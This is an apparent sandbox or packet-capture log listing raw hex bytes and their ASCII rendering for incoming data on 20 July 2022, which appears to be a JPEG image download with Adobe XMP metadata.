2022-07-20 07:08:25 UTC	6299	IN	Data Raw: 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 ff ee 00 0e 41 64 6f 62 65 00 64 00 00 00 00 01 ff db 00 84 00 0a 07 07 0b 08 0b 12 0a 0a 12 16 11 0e 11 16 1b 17 16 16 17 1b 22 17 17 17 17 17 22 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0b 0e 0e 1f 13 1f 22 18 18 22 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 07 80 04 38 03 01 11 00 02 11 01 03 11 01 ff dd 00 04 00 87 ff c4 00 d3 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 05 00 02 03 04 06 01 07 08 01 00 03 01 01 01 01 01 00 00 00 00 00 00 00 Data Ascii: scription> </rdf:RDF> </x:xmpmeta> Adobed""""8
2022-07-20 07:08:25 UTC	6315	IN	Data Raw: c1 ae 8b 31 25 07 22 c7 c4 da 53 a0 ac 14 36 9b 96 7d 5d bc b1 eb 6f 0f b1 53 58 5b 0d ea 5f 31 db b4 58 fe 8a d9 58 cd d6 0e 84 24 5c 76 76 55 48 40 1f 27 68 c1 dd f2 23 cd 99 e4 1d 35 68 d4 c4 fa 4a 3a 37 c6 49 93 9f ad 1f 3c 5a 7e 17 af 43 1a 50 09 dc f7 5d ff 00 66 9a 28 b3 26 80 e1 4a e2 3f 9e 11 6a 91 2f f0 df 2e 0d 5d 18 e5 fd e6 8e 95 49 48 1d bc f9 7e 2d a7 34 ac b2 36 4e 44 c8 25 91 de da c3 5f 47 36 9e 5e 9c 9f 85 5e 5f 7b 77 5a e8 53 23 4d 92 5d e2 29 71 f1 23 46 91 42 96 bd 93 4a b1 ef f5 3d 9d 3a eb 83 b4 ad ed 6e 53 d1 52 50 07 1b 66 9f 2b 15 66 8e 3d 2a bd 8e 78 5e fe ae ae 67 d5 eb a5 7a f6 bf 1d 59 52 17 93 6e 93 69 5c 49 99 a1 c9 ea f5 54 c5 25 97 4d d7 e3 34 9e f7 57 4b f0 3b 9e fa ad 35 12 06 02 35 30 bb 2d ee 45 c1 3f 4d ab 47 a9 a9 Data Ascii: 1%"S6}]oSX[_1XX$\vvUH@'h#5hJ:7I<Z~CP]f(&J?j/.]IH~-46ND%_G6^^_{wZS#M])q#FBJ=:nSRPf+f=*x^gzYRni\IT%M4WK;550-E?MG
2022-07-20 07:08:25 UTC	6331	IN	Data Raw: 7d 34 40 cf 59 dd a4 c9 9b 64 c4 df 22 37 c8 c7 88 4c e4 8b 96 8e 54 f9 5c bf d9 f7 94 db d0 98 d4 f3 5d 80 e0 8c 99 06 e0 d6 84 41 26 92 2f 73 2d bf cb aa 7b 4c d5 31 a1 4c e6 06 39 ca 7e bc bc ab 7b 28 ff 00 b7 a9 43 70 a0 45 e3 3a 43 38 58 54 48 41 b8 04 f0 d5 6f 16 9f 6a a5 6d a8 13 e6 e7 6e 79 a4 c9 9d 3b 96 3c 0a 2d 90 58 72 e8 e4 f6 6a 65 78 01 4f 0f 15 65 9d 12 32 63 d5 c0 b9 e2 40 f5 e8 b3 85 a8 8d 06 d1 99 0e 1c 2f 89 9e 54 c3 2c 4c 03 db 58 66 4f fa 7e ef e1 fa f1 d2 4f 50 0d 63 79 9a 1d b4 26 3e 19 ea e1 48 a5 a1 79 0b 75 31 c3 ae 89 f1 fd 7f 73 f8 74 dd e0 09 b2 fc cf 8f b8 c2 a2 35 2b 0c 01 63 25 85 d9 95 7f bf 51 67 20 66 3c a7 0c bb a6 7a 3c 9a f2 59 63 95 62 5e de 92 2f 26 1a 47 af dd 44 a9 f1 3a 7e a5 69 00 1f df f1 32 72 27 89 33 b2 12 Data Ascii: }4@Yd"7LT\]A&/s-{L1L9~{(CpE:C8XTHAojmny;<-XrjexOe2c@/T,LXfO~OPcy&>Hyu1st5+c%Qg f<z<Ycb^/&GD:~i2r'3
2022-07-20 07:08:25 UTC	6339	IN	Data Raw: 34 5d 4d a8 0e 48 65 f0 44 9e 36 aa 4c 03 1b 76 e4 b9 88 c6 65 68 66 8d ad 2c 72 72 ba 5f 99 1f da 49 57 e1 ba 53 92 58 ec 55 92 41 d5 c8 50 af a9 8a 01 da a8 7b ba db f3 24 4e fd 01 26 67 fd 43 9a 3c 68 f1 c0 3a 65 c8 59 12 42 06 a2 61 1a 74 b3 7f 8b c9 ae a2 35 2d 18 93 2e 13 45 d2 8e fd 4b 71 76 b8 e3 f6 3e 1d 43 4c a3 37 31 31 3b 5f e9 ad 0a 24 83 24 b3 58 d1 b0 04 da 10 e3 97 b6 a1 31 14 e5 0c 0d 88 b1 ec ad 50 16 a2 c4 97 30 c7 8b 00 32 4d 29 01 51 7b c4 ff 00 65 7d 77 a8 4f 50 34 99 5f e9 ce e9 b7 e3 3b a8 8a 72 01 2c 22 6d 4c 07 8b 92 45 8f a9 fe 1d 0c 52 1f c0 59 bc e3 3a 4a 42 47 8f 8d 14 6a c4 82 cd ac 8d 5e ef e1 fb de 5f 1f c1 4a 50 2d 8d 3c 9b 3a 62 63 b3 61 95 59 55 09 67 95 56 45 75 4d 52 7b c5 75 d1 1f db 4a 70 29 3c d3 74 cf 5d d7 22 5d Data Ascii: 4]MHeD6Lvehf,rr_IWSXUAP{$N&gC<h:eYBat5-.EKqv>CL711;_$$X1P02M)Q{e}wOP4_;r,"mLERY:JBGj^_JP-<:bcaYUgVEuMR{uJp)<t]"]
2022-07-20 07:08:25 UTC	6355	IN	Data Raw: ca 92 34 f0 46 d0 c6 5b a5 23 07 31 f8 35 8e 55 97 4f e6 51 32 52 3d 4f fd 2f da d2 2d a9 77 1b 6b c9 95 9d 09 e2 7a 31 a1 ff 00 a5 4f c9 d5 f1 a5 d1 df a0 8b 1a f5 91 89 61 c3 4f 0b 5b b4 d5 34 66 86 96 fa 45 21 83 33 31 9d 22 9c e3 49 29 95 95 8c 65 9b 5e 87 f0 24 3a 87 24 5e c5 34 04 d8 58 24 c3 0c d3 70 c9 11 05 66 3d b7 23 de 6a 6f b5 4b c4 24 64 cf 26 5e 3b c1 03 2e a7 ba f1 25 2e 01 f7 9c eb cc 9d 45 f1 a5 53 40 61 e4 dd d5 b3 06 e5 81 86 67 cc c6 91 ac 21 bb 43 d3 5e 5e b6 a5 f8 7a 53 fe 35 22 a0 d4 41 e6 3d b7 cd 31 b6 1e de 1a 57 d2 1e 40 d7 88 42 3d 7e ba 73 33 eb e4 44 8b bf 42 14 15 d2 6d ef 65 c8 5d 62 0d c2 20 c4 46 d2 37 46 6e 23 e1 c9 2b fb 86 99 23 ee eb a4 d0 cb 13 ee 87 7a 88 e2 b6 06 5c 7a c8 2e aa aa 21 b1 e4 d5 f3 28 fd 3c 8e 9f 7b Data Ascii: 4F[#15UOQ2R=O/-wkz1OaO[4fE!31"I)e^$:$^4X$pf=#joK$d&^;.%.ES@ag!C^^zS5"A=1W@B=~s3DBme]b F7Fn#+#z\z.!(<{
2022-07-20 07:08:25 UTC	6371	IN	Data Raw: f9 57 cd 32 f9 77 20 eb 5e ae 1c c4 09 a2 3c 4d bb 9d 7c 7f de aa 78 3f 16 a9 12 d0 02 64 8e 29 19 61 3a a2 0c da 1a d6 ba 5f dd 72 b7 32 f2 50 32 48 da d4 80 2f e5 ed dd f6 bc e8 b2 d4 81 a5 b4 b1 3d dd 12 fb 89 75 e9 fc bd 5d 5f f0 e8 d9 92 cf 6e 8b 03 1f 12 33 34 4e ed a4 dc f1 d4 ac de b3 23 55 c9 25 3c a9 f1 f2 e7 32 c6 03 10 9a 09 fa 7d 6e 5a 7b 09 b0 2e 6e 6e 5e 26 64 18 b8 91 6b c7 70 7a 8c d7 e4 1e cc 9e b5 4e e0 12 2f 7f fe ed 34 48 c9 1a 46 25 4d fa 22 d6 07 b0 bd ff 00 a9 4c 72 cf ff d3 f5 ed 75 50 67 22 d7 4e 02 45 ae 94 04 8b 5d 10 12 77 5d 10 12 2d 74 40 48 b5 50 39 3b aa 80 93 9a a8 09 3b aa 80 91 6a a0 72 2b d0 02 d5 40 48 b5 50 29 15 e8 1c 9d bd 01 22 bd 01 22 d5 40 48 af 40 48 b5 52 09 15 e8 09 16 aa 02 45 7a 02 45 7a 00 ed e8 01 5e 80 Data Ascii: W2w ^<M\|x?d)a:_r2P2H/=u]_n34N#U%<2}nZ{.nn^&dkpzN/4HF%M"LruPg"NE]w]-t@HP9;;jr+@HP)""@H@HREzEz^
2022-07-20 07:08:25 UTC	6378	IN	Data Raw: 65 e3 be 42 9f 97 94 c0 c5 83 85 ef c0 1d 4f 51 34 e3 37 c1 d3 dd ff 00 2f 51 10 04 5b 52 36 df 3c f3 08 a5 8e 52 01 6e 91 13 42 ef cd 2c 9c da 93 22 3e aa 3f bb 8d d3 dc f8 eb c9 ef 66 74 7c 00 bd 8d e6 7c 5f 9b 5c de 96 50 88 46 43 a2 e3 bb 73 7d ae e7 4e 4a e9 ed 31 71 5c 9f a8 66 5a 78 73 1f 22 7c a8 e1 9b 1a 6e 90 91 21 75 69 04 b1 eb f7 50 6a 87 52 fe f1 3f 79 ee a8 cd 8d 7a bc 82 48 27 e6 0c a2 70 5b 2b 11 72 a4 40 13 a5 33 21 0b 72 1d 32 e0 f9 77 e6 48 e5 c6 79 d5 a5 82 2f e2 7a f5 cd 8a bc 6d c7 97 ee fd 23 29 6d 1b 2e 76 1c f0 ce 3a 2b 37 4f aa 8d a8 b2 e3 c2 ca 61 86 79 74 7c 49 25 d5 af 1f 1e 3f 8b 22 7b ce 44 ae da ae 3a 81 26 67 97 46 53 2f f2 b8 8f 46 2d 30 92 ec 11 a6 64 3c f3 b4 4f ef 3a 92 ea e7 79 2b 9f 3e 75 30 2d cd 1e 7b e3 e3 a3 99 Data Ascii: eBOQ47/Q[R6<RnB,">?ft\|\|_\PFCs}NJ1q\fZxs"\|n!uiPjR?yzH'p[+r@3!r2wHy/zm#)m.v:+7Oayt\|I%?"{D:&gFS/F-0d<O:y+>u0-{
2022-07-20 07:08:25 UTC	6394	IN	Data Raw: ae e7 dd da df 8a cb de af 0f 05 38 dd 4f eb f9 06 d8 5a 4c 4c 3f 7b 0c 50 10 aa 01 71 19 b6 a2 dc cf fc 44 af a8 4d 3d 08 05 ec 9b a6 23 6b c5 89 34 08 98 97 55 6e 54 53 c9 d0 78 bb ee da 79 e3 f8 95 74 0a b2 2d ef 63 cb dd 59 c6 22 75 30 86 90 8c f6 1a 18 72 f5 71 62 8f a7 ff 00 6e 7a 9b e3 e5 b0 e0 c9 6f 3b 6c d0 c2 37 30 ed 2a 47 23 42 f2 c8 7d e7 51 5b 42 a3 2f 37 75 fb 9e bd 3a 52 34 1a 2c 6d fb 12 e7 27 5a 6c 95 c3 85 ee 75 c8 39 9d d4 7f 99 9d 7a 9a 35 aa cd ee ea 90 48 31 5f 24 c3 2a 63 96 61 15 cb c8 a3 b8 97 f7 53 ca ff 00 87 d5 fc 38 e9 f1 53 23 93 b9 7b 9e 5c fb 6c 7b 7b a4 3d 3c 58 c3 21 43 c4 23 f2 7b c4 e6 56 c8 77 5d 6e fe ed fd 8a d1 81 57 6f ce 64 81 d2 65 ea c4 89 a1 14 9f 19 f8 72 33 f7 da 28 7f 27 b9 49 ad 40 97 17 6e 9f ad 0c 4d 11 Data Ascii: 8OZLL?{PqDM=#k4UnTSxyt-cY"u0rqbnzo;l70G#B}Q[B/7u:R4,m'Zlu9z5H1_$caS8S#{\l{{=<X!C#{Vw]nWoder3('I@nM
2022-07-20 07:08:25 UTC	6410	IN	Data Raw: a4 25 8a 90 ad d2 d5 23 f2 eb 69 6b b6 8d bd 58 8d 88 dc f0 e4 3a 56 55 d7 6b da f6 3e b7 8a ba 55 d7 c4 1d 41 1b 8e f8 57 1e 3c 9c 41 a8 3b 90 09 1e a0 f7 8b a2 9f 3f 80 40 73 52 48 a1 c5 8a b2 83 fe d1 56 99 30 52 fe 65 16 3c 8f d7 2a b1 31 05 64 f4 03 dd 78 24 fe b4 75 0e f0 c7 03 f1 b7 28 f2 f3 a3 45 75 18 f1 5d 8d 98 16 96 e3 42 b6 9f cb 4a c6 d9 52 19 8e dc 76 0d d1 f2 24 ca c9 81 58 cf 21 54 74 65 2d c0 fb 94 7f cb ea 47 50 f3 55 f8 8c 06 e6 48 09 8d d4 ab a1 2b 63 c0 dc 1e 7f bc b5 ae 8c 07 62 6d 19 fb 91 07 1a 17 91 4d f9 c0 e4 b8 f0 f5 9b dd d4 db 25 6b b8 40 63 6c f2 e6 e4 af d3 92 25 8c 29 d5 ad c8 21 4f 75 64 e5 e6 99 7f 73 1d 61 7c d5 7e 22 80 a6 f1 b4 cd b6 e3 3e 56 36 43 3f 4c 87 40 e0 2a 4b 28 f7 7f f4 51 72 68 8f f0 fa da e8 ae 65 30 bc Data Ascii: %#ikX:VUk>UAW<A;?@sRHV0Re<1dx$u(Eu]BJRv$X!Tte-GPUH+cbmM%k@cl%)!Oudsa\|~">V6C?L@K(Qrhe0
2022-07-20 07:08:25 UTC	6418	IN	Data Raw: a0 69 30 b7 a5 cd 8c c3 97 36 86 65 3a 64 7f 0b 0e e4 6d fb ba e7 75 d4 72 0f 97 7c c7 56 51 08 68 f2 23 b1 f7 8a 19 0f 0e 76 f6 9b 55 0e ae 09 33 f2 e4 75 4b 16 b9 72 c4 9f 4d 26 a0 c9 93 ed 4d 08 9c 36 4a eb 8c 02 4a 9b f3 f0 e4 8b 93 9b bf e2 a7 54 9b d4 48 3d 83 e4 e4 de 1b ab 8c 0c 28 10 3b 81 20 6d 17 d5 a2 3d 72 77 fb 9e f2 ba d6 14 cd 20 b6 be 42 cc c7 68 e4 98 34 85 48 62 b1 95 60 47 79 74 2f 2b fd b4 a1 61 48 20 97 60 dd 22 c0 cc 97 1d 75 43 04 92 13 d2 3f 83 23 7e 22 af e4 49 dc fd df d8 aa 4d 2d 07 23 bc fe 64 7d b9 4c 4d 60 b3 02 e0 5e ec b6 d1 fa a9 25 5d 80 a9 e5 dd b9 b0 b1 93 71 de 48 8a 12 6d 8f 1f 8a 52 46 be ac ff 00 bb d3 e0 fd 7a 94 a0 08 b7 0f 34 e3 4d 97 32 4c cc 86 f6 8d d5 75 2a ad b9 52 45 5f 6f f2 e8 e6 04 db 3e fc 71 ba 91 e5 Data Ascii: i06e:dmur\|VQh#vU3uKrM&M6JJTH=(; m=rw Bh4Hb`Gyt/+aH `"uC?#~"IM-#d}LM`^%]qHmRFz4M2Lu*RE_o>q
2022-07-20 07:08:25 UTC	6434	IN	Data Raw: 05 ad ca 54 fe 22 c9 fd 8a e2 56 f8 80 37 7a 81 a3 d2 0a d8 8b 9b df 98 8f 51 a3 f8 6b 5d 7d ad d3 00 52 eb 3d b5 dc e0 0b 79 7d 58 d5 25 6b 85 65 1c 6f 7d 56 fb 3e 0f b7 58 d2 1e 80 3a 2c 95 61 c1 78 f0 a8 bd 18 c3 50 e7 45 1b 46 03 37 05 1a cf d3 27 79 9a 1f 51 7c 15 e5 de 9f 04 30 c4 ad f3 03 a8 41 8e 40 6f ea 9f 5a 39 3e dd 72 5b a5 80 1f 6c ce 9b 6f 91 e1 c4 d2 e2 49 3a 9a 9e fd 5d 51 8e 4d 32 4a c9 d3 8e 27 ee 7b 75 ef 60 ee 5a ac 32 95 a1 0b 27 26 59 71 22 0a 19 9d 44 cc c7 c5 1b ca 79 fa 8f dc 9b 56 8d 68 fe 0d 7a 2b 4b 5e 74 21 b9 02 ce cb 1b 2a 44 e5 f5 22 b4 9c a5 02 3f 8a 14 d5 f1 a3 8f f3 a9 da a8 47 60 3d 63 a4 5a fe 9f f7 6b 1b 2e 22 0b ed 19 32 21 91 48 89 b5 58 00 ea 4e 90 83 e2 e8 5f 74 df 61 eb 0b a4 8a 45 3c 8c c4 55 10 82 6e a2 ce e9 Data Ascii: T"V7zQk]}R=y}X%keo}V>X:,axPEF7'yQ\|0A@oZ9>r[loI:]QM2J'{u`Z2'&Yq"DyVhz+K^t!*D"?G`=cZk."2!HXN_taE<Un
2022-07-20 07:08:25 UTC	6450	IN	Data Raw: 14 0e a8 e5 75 53 cf a1 7f 2f 47 fc cf 1d 75 56 b0 64 d8 ef 32 6d 8f 8f b7 a4 d0 1d 2d 0c 8a ed 6e 2d c4 f4 e4 e9 fe f3 a3 c9 4e d5 0a b2 ee 16 7c 78 c8 31 83 24 9a 4d db 49 b9 17 34 49 25 6d f3 cc 19 18 45 f2 71 53 ab 04 42 d2 5b e9 f0 b7 f0 ff 00 33 45 53 d0 12 2b ed 79 d8 b9 d3 89 99 84 48 21 b6 82 48 60 64 3a e5 68 5b f1 13 97 dd d2 45 30 6e f7 9f 26 dd 3a 47 08 ea 06 3a 41 37 16 3d f4 d4 9f d7 a1 b8 10 5f 13 28 ee 3a 5b 22 2d 73 c8 0a b2 86 07 41 43 a5 de 39 3c 1f 99 cf 52 ad 21 b1 36 3e d7 d3 88 4e cd c8 38 f1 e6 63 a4 d3 e2 37 60 d4 70 c3 2e a9 63 3c b2 0e 25 7f ad f6 aa e4 83 35 9d 26 72 c8 71 72 18 04 5e 60 ab d8 cb 7f 75 af 57 3d 67 66 5a 2e 79 75 86 59 9b aa 01 11 b0 51 fa 6d d4 d5 fb 54 55 05 8a fb a7 93 23 cf cd 7c e1 27 48 d8 0d 2a a0 86 f6 Data Ascii: uS/GuVd2m-n-N\|x1$MI4I%mEqSB[3ES+yH!H`d:h[E0n&:G:A7=_(:["-sAC9<R!6>N8c7`p.c<%5&rqr^`uW=gfZ.yuYQmTU#\|'H*
2022-07-20 07:08:25 UTC	6458	IN	Data Raw: 1d 6d ef 28 58 7c 7d 01 24 f8 d9 97 71 a9 52 d6 e5 e6 16 d5 f8 7a 9b f0 b4 fa 95 36 c5 01 25 0d db 11 a4 91 9b 21 0b 90 b7 e0 08 69 1b f0 e1 8f d4 c7 d7 ef 24 78 fe 26 8a cd 69 b1 37 52 67 36 fd c1 f6 d9 9d 99 35 87 8c c7 62 38 a9 bf c4 5f cb fd e2 27 c4 ae 8b d3 9d 60 e6 27 29 18 61 ad 5b 54 96 3a bd 05 58 f7 e2 d7 ea fa f5 92 98 24 7e 59 11 fb 88 ee 0d f9 ca b9 6d 45 7b 8b c9 ee fa 5f 8b 51 55 3a b0 16 04 2b 90 1f 5b 69 d0 b7 50 79 75 fe 62 23 fb 15 96 6d 36 1a 08 74 a7 7b 88 c3 69 2a 17 42 f1 d4 bd ee 82 af 79 bd 7a e3 57 2a 08 21 ce c7 b1 59 21 04 9d 5c 4b 9f 4f 83 47 c0 8f 4f af d3 ae 97 8d c6 82 90 4e 66 2c 4a cd d9 75 ed b1 bf ed 57 7e 2b b8 24 d5 18 d1 d5 57 1f 50 89 10 59 c9 1a 55 7f 09 a2 83 bf de f8 b5 e4 d9 37 ab 35 32 b9 19 4f 23 13 c4 bb 5c Data Ascii: m(X\|}$qRz6%!i$x&i7Rg65b8_'`')a[T:X$~YmE{_QU:+[iPyub#m6t{iByzW!Y!\KOGONf,JuW~+$WPYU752O#\
2022-07-20 07:08:25 UTC	6474	IN	Data Raw: 55 55 1a 36 bf ac 34 cd ca df 12 1e a2 fe 25 76 57 b7 4b a7 f5 c3 97 88 66 1f 2e 46 b8 a2 13 2b bb f0 02 53 62 c1 7f 29 3d 58 bc 15 bd 71 c2 87 d4 0f 26 a4 67 07 6a c1 72 ef 18 43 dd 1a ee cb 73 ea ab ea 5e 7f 5a af 82 42 e4 d9 36 4e e5 a4 2a c1 60 87 81 20 55 49 30 33 0e 68 ca 3d c8 79 35 58 00 6f 71 eb aa d3 02 1c 9f 30 e5 61 4c 22 97 1f a8 bc 08 64 71 7d 07 c7 d0 6e 7e a2 fe 5d 66 ec d7 80 d5 53 1f 99 bc 09 14 95 b8 bd ac b6 b3 5b d6 aa dc 51 05 38 32 b5 31 8d dc a8 fa 07 1d 37 ee 48 eb f9 54 d8 20 86 dd bc 89 c7 16 5b a9 d2 dc 45 81 fb 5e df 82 92 63 68 97 74 de b1 71 a3 25 a5 44 51 da e5 80 00 fa bf 6b d8 a7 c9 22 52 18 fb e7 75 86 80 08 0d 62 d6 7b 37 e2 68 f5 2a 79 0d 54 a3 9d 90 c6 51 a8 69 61 60 a1 3d 07 be ad 4c 08 76 6c 6f 99 cb 91 32 d8 39 b9 Data Ascii: UU64%vWKf.F+Sb)=Xq&gjrCs^ZB6N` UI03h=y5Xoq0aL"dq}n~]fS[Q8217HT [E^chtq%DQk"Rub{7hyTQia`=Lvlo29
2022-07-20 07:08:25 UTC	6490	IN	Data Raw: d9 b7 0d cd 83 e1 34 23 a5 a4 a0 e2 b3 31 bf 36 9c 9f 87 1e 8e fe 8f c5 a0 41 fc 6c 35 c7 4e 9d f5 b5 b9 98 8e f3 78 9a ae 49 64 b0 06 81 6d 23 02 c4 93 c3 f6 6a 2d a9 68 c9 e0 6e 59 59 d9 cf 0f cc 4c ae ee 74 05 53 d0 1a 47 34 73 47 a7 dd b3 f8 3c 75 91 a4 1a 7d 8e 5c 89 30 22 9b 36 3e 96 4b 83 ad 2d a7 4d 8e 98 fd df 87 5a 50 f5 10 45 36 e8 e2 9c 64 ce c6 37 90 74 80 6e c2 dd fe 5f b5 52 d1 52 2d d7 67 93 2d 42 c2 63 8d e3 1c a5 81 61 a9 bb fd 4d 1d ea 9b 56 4a ad a0 17 89 e4 09 53 5a fc f3 32 b0 bd c2 05 7d 7d ee af 55 7b 8e bf 86 f1 f3 d1 c0 bf 73 f4 19 0d f7 73 dc b6 cc e5 87 2a 54 19 40 88 e5 61 18 1e e9 ad d3 92 55 ee 64 a3 f7 fa bc 94 40 4f c0 59 7b 2d 80 95 24 5c 89 f5 86 90 e8 28 7d b8 a3 6f ca d1 ea d4 c8 a2 49 70 37 b3 e5 d6 92 29 f1 de 46 94 Data Ascii: 4#16Al5NxIdm#j-hnYYLtSG4sG<u}\0"6>K-MZPE6d7tn_RR-g-BcaMVJSZ2}}U{ss*T@aUd@OY{-$\(}oIp7)F
2022-07-20 07:08:25 UTC	6498	IN	Data Raw: 04 7d 06 86 05 18 b6 e3 11 71 19 21 6f 75 1d bf b5 52 5b b4 96 b1 cb 2a e8 7e 2c 2a 89 62 c9 c3 8f 24 11 20 bf 0e 02 fe 9f 5b ed 52 6a 41 38 04 f4 86 3c 62 01 c7 49 37 bf ad e2 ac e0 b6 e4 e0 6b 76 55 08 af 93 98 cb 60 09 b8 bd ea d5 48 6c ab 1e e1 22 8e 0c 47 02 00 00 7a 7d ad 3d 4f da a4 e8 57 b8 55 79 1e e4 af 69 fa 3b 6f 44 22 79 30 6c 19 9f 37 21 8e 06 2b 7b 9f a7 b3 bd 4d a0 91 d2 6d 3d 71 d1 cb 63 24 1c ab a4 72 b1 1d e9 27 9e 6f c6 9f a9 e1 f8 54 40 a4 9f 0f 66 6c 65 e9 c3 90 e5 82 e9 8e 59 94 48 50 1f dd f2 75 29 30 92 2f 2e 45 97 8b 8c d8 f9 8c 1e 51 2b 95 6d 57 67 8e fc 93 49 ea 78 fe c5 31 14 f7 0f 32 62 95 31 62 3f 56 6d 43 82 dc 2d 87 34 9e f7 4f dc 4d 15 95 f2 24 b4 2e a8 27 e5 dd c4 e4 ed 41 e3 7e 6d bc b1 62 cb a8 f1 0c dc af dc 6d 11 49 Data Ascii: }q!ouR[~,b$ [RjA8<bI7kvU`Hl"Gz}=OWUyi;oD"y0l7!+{Mm=qc$r'oT@fleYHPu)0/.EQ+mWgIx12b1b?VmC-4OM$.'A~mbmI
2022-07-20 07:08:25 UTC	6514	IN	Data Raw: 46 a7 c7 a4 e2 cf 55 21 97 58 b0 62 21 15 86 91 6b 5f 55 4a 4e cc 74 4e ee 01 d0 67 00 86 69 23 0e f6 2b a4 8e 06 ff 00 b5 cb 5a df 1e b0 99 db 7c 4d f4 a7 c0 17 1e 43 63 71 8c d9 8f 69 f4 d5 d9 4e e7 43 aa 88 7d 45 e8 f7 dd 11 da 4e 2d e8 3d 84 ff 00 bd 58 3c 72 f4 39 ef 86 b3 25 06 95 e5 05 53 82 76 85 bf 01 5a ec 74 24 53 db b6 a3 1e 4a 99 bd e5 cf 00 0f a4 fd 9a c9 56 35 38 29 db f0 7c ad 60 9e 4c 52 2b d8 83 62 78 55 ab 1e 95 2e 9a 39 85 3c 08 da a4 90 2b 2b 00 56 c4 b5 bd 7a 4e de 06 39 72 cc d5 05 37 ed c9 22 c6 49 04 a0 c4 5c 72 8e 12 76 77 fa 6d cd a1 3c 75 95 1c 3d 51 e6 63 6b 1b 9b 57 a8 1f b7 ce f2 c4 d2 63 d9 ae 2e 2e 7b 3d b6 4a de cd 33 d0 b5 eb 74 9a 2b bf 97 32 19 ba f2 95 37 e3 6b f6 56 7c 93 67 32 87 69 64 62 1d 0d d2 72 10 8f 41 ec fd Data Ascii: FU!Xb!k_UJNtNgi#+Z\|MCcqiNC}EN-=X<r9%SvZt$SJV58)\|`LR+bxU.9<++VzN9r7"I\rvwm<u=QckWc..{=J3t+27kV\|g2idbrA
2022-07-20 07:08:25 UTC	6530	IN	Data Raw: 29 9b 3c 4c 68 a4 7b ca 48 1c 2f 6f ec d4 b7 00 8b f0 e3 47 11 e7 51 25 96 ec eb 7d 6a 3d 54 f1 e9 f5 ea 4a 29 cb 09 c6 46 9c dd 50 5c 8e 04 93 c3 a8 9c 89 cf cc 95 52 00 7d af cd 33 6e 27 f9 9c 08 13 12 ec 81 e4 bd c9 03 92 6c 95 4d 5d 2d 6d c9 ea 54 26 54 1a ec 9c b8 f3 f1 fe 55 85 e4 95 35 22 df ea d6 ac ec bf 0f d8 a6 f5 d0 4b 4d 4c f7 9c 61 59 76 b7 79 4c 8f 3e 92 a0 f0 45 6f 0e 89 a1 fc b4 d7 f0 ea 1a f1 65 26 0f f2 e6 f7 f3 fb a2 60 18 3d da 45 a3 b0 58 ba 69 f7 92 a7 72 28 7a 5d 4e 94 35 34 72 55 94 1a f9 b6 e0 99 00 47 a5 95 d4 80 a6 f6 1e cb 69 f0 56 b0 67 20 5d e7 cb 5b 9c 93 41 8d 80 f1 88 19 58 4f 2c 9f 11 6f ff 00 d6 48 bf 0d fa 7a fd 8a 1a 04 d1 4b cc 9e 52 c3 c1 d8 a4 fe 5c a1 26 47 46 0e dd b2 90 74 2c 4d 27 e0 c5 27 a9 f0 a8 75 49 40 a6 Data Ascii: )<Lh{H/oGQ%}j=TJ)FP\R}3n'lM]-mT&TU5"KMLaYvyL>Eoe&`=EXir(z]N54rUGiVg ][AXO,oHzKR\&GFt,M''uI@
2022-07-20 07:08:25 UTC	6537	IN	Data Raw: 3b 3d 41 55 e4 7d 4b 89 c8 37 de b2 31 5b 07 16 d2 0f a4 55 3c 70 16 ed 61 af 94 15 be c6 b2 e2 19 18 da c7 57 13 4f c4 b6 a3 43 3b 8f 08 40 24 53 f4 d8 d5 15 8b 1a f3 22 29 71 d6 47 56 6b fa 6f fd 34 35 26 19 71 2b 34 d9 3c 50 c7 0b 2a 0b 05 1c 7f de a6 8d 6b 4a d3 44 13 83 6f eb 46 65 73 a5 41 f4 8e d1 eb 53 77 8d 0e 9e 52 52 dc b6 f3 2c 65 a0 25 98 71 00 76 e9 f1 50 f5 30 ee b1 bb 2d 3c c5 cc 48 57 0b 06 33 13 33 4b 21 bb df fa 9a 2a 69 59 7a 99 76 d8 fe 22 09 2d f5 90 78 1b 5f eb ae 8d 36 3d 3e 4b 60 e4 3b 7e 36 3e 2a e6 66 de 53 da b1 f6 2a df bb ad bb fa ff 00 62 b9 2d 66 df 1a 9e 55 ef 6c 97 f6 e9 d1 fe a1 13 79 81 a1 52 31 97 4d ef 7b 9b d1 ec fc 4e 9f e8 a7 ce f9 19 ec c9 25 cc 63 c4 92 7e 8a 1a 36 bd 74 8a 90 c3 8d 97 04 80 e3 b3 af a7 b4 81 71 Data Ascii: ;=AU}K71[U<paWOC;@$S")qGVko45&q+4<PkJDoFesASwRR,e%qvP0-<HW33K!iYzv"-x_6=>K`;~6>fSb-fUlyR1M{N%c~6tq
2022-07-20 07:08:25 UTC	6553	IN	Data Raw: 5d fa 72 fb 5e 3f 1f 82 a1 fc 40 f4 26 51 19 25 49 00 91 60 4d c2 d3 43 1b b4 6f f8 7b a1 68 20 72 67 8b 57 51 0f 87 4b 74 95 99 fb 9e fb f0 a8 5a 01 a4 c1 92 59 c7 40 5b 41 1c 41 fa 29 81 7f 19 e3 81 c6 2c 63 4a 20 e5 1d 80 0a a1 1e 5d fe a1 6d f8 58 41 37 0c 14 e9 34 b2 95 70 07 24 87 e2 75 a4 f0 c2 de ae 8f 8b 51 6a c8 c7 79 13 75 12 ed e3 15 a3 71 f2 d7 bc a7 b8 fa 99 a4 58 d7 c5 d5 4f 52 98 83 b0 ee 91 64 4a d1 42 ac 42 00 43 32 95 07 c3 2a f3 af 2f 4a 92 18 0b 70 c2 78 77 a8 b7 1c 92 24 5b 94 c5 4e cd 00 0d 7a 7d a7 e6 79 69 48 1b ad bf 00 e4 80 c3 80 61 7b 9f d1 57 b8 00 77 bf 2f 4d 2e 54 9b ca a8 00 c6 b1 01 7b 81 1a 6a f0 fe f6 95 90 d1 9b ca d9 a3 9d 4a cb 1e 92 6c 14 ba e9 e1 ea ff 00 0b db ac 5d a0 a0 56 4e ee 7c b5 36 46 0e 46 3b 06 